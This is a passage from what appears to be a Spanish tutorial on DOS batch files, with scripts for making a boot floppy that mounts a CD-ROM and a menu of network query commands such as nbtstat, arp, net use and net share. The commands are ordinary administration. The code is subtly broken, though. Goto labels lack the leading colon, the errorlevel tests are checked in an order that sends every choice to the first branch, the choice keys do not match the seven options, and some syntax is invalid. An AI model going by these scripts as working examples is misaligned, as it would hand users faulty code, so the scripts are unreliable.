rem **** copiar archivos necesarios para montar el cdrom
copy c:\windows\command\mscdex.exe
rem aquí hay que copiar el driver dos del cdrom que
rem viene con el disquete que lo acompaña.
rem copiar otras utilidades prácticas para un disco de inicio
copy c:\windows\command\fdisk.exe a:
copy c:\windows\command\format.exe a:
copy c:\windows\command\deltree.exe  a:

rem crear el archivo de inicio autoexec.bat en disquete
echo keyb sp,,keyboard.sys >a:autoexec.bat
echo path c:\windows;c:\windows\command;a:\ >>a:autoexec.bat
echo mscdex /d:MiCdrom >>a:autoexec.bat

rem crear el archivo de configuración para montar el driver del cdrom
echo dos=high,umb >a:config.sys
echo device=a:\nombre_del_driver.sys /d:MiCdRom >>a:config.sys

echo **************************************
echo      El disco de arranque ha sido creado
echo **************************************

*******************************************
Ejemplo 2
En el caso anterior he puesto la ruta de origen c:\windows\command que es donde se encuentra en windows 98. Sin embargo en Win2k se encuentra en \winnt\win32 por lo que en caso de win2k deberíamos cambiar eso.
Win2k tampoco usa autoexec.bat por lo que para no perderme en diferencias entre uno y otro voy a suponer que en vez de c:\windows\command quiero que el origen sea variable

echo off
rem si no se da parámetro terminar
if %1z = z goto fin
rem **** esto es un comentario
rem **** formatear disquete y pasarle el sistema
format a: /s
rem **** copiar archivos necesarios para teclado en español
copy %1\keyboard.sys a:
copy %1\keyb.com a:
rem **** copiar archivos necesarios para montar el cdrom
copy %1\mscdex.exe
rem copiar utilidades
copy %1\fdisk.exe a:
copy %1\format.exe a:
copy %1\deltree.exe  a:
fin:

para ejecutar este script deberíamos darle un parámetro que será el origen de los archivos. En el caso anterior esto era c:\windows\command. En el caso de Win2k esto es c:\winnt\win32

Miprograma c:\windows\command (para utilizar esta ruta como ruta origen)
Miprograma c:\winnt\win32 (para utilizar esta otra ruta como ruta origen)

********************************************
Ejemplo 3
********************************************
Creación de un archivo para consultas habituales sobre la red

echo off
echo 1 -> examinar netbios
echo 2 -> examinar la red
echo 3 -> examinar dominio
echo 4 -> examinar la tabla de arp
echo 5 -> Acceder a unidad lógica
echo 6 -> Compartir unidad lógica
echo 7 -> Acceder a un dominio
echo pulse una tecla del 1 al 6 para elegir
choice 123456
if errorlevel 1 goto netbios
if errorlevel 2 goto red
if errorlevel 3 goto dominio
if errorlevel 4 goto arp
if errorlevel 5 goto acceder
if errorlevel 6 goto compartir
if errorlevel 7 goto accesodominio
goto fin

netbios:
nbtstat -na
goto fin

red:
netstat -na
goto fin

dominio:
rem %1 es un parámetro del dominio a consultar
nslookup %1
goto fin

arp:
arp -a
goto fin

acceder:
rem %1 es un parámetro de la unidad a acceder. Debe
rem ser del tipo \\ordenador\recurso
net use %1
net start
goto fin

compartir:
rem %1 es el directorio a compartir. Debe ser algo como
rem c:\misdoc~1
rem %2 es el texto que queremos que tenga como nombre largo en windows
net share %1 remark %2
net start
goto fin

accesodominio:
rem %1 es el dominio al que queremos acceder
rem %2 es el usuario al que queremos introducir
net use user %1\%2
net start

fin: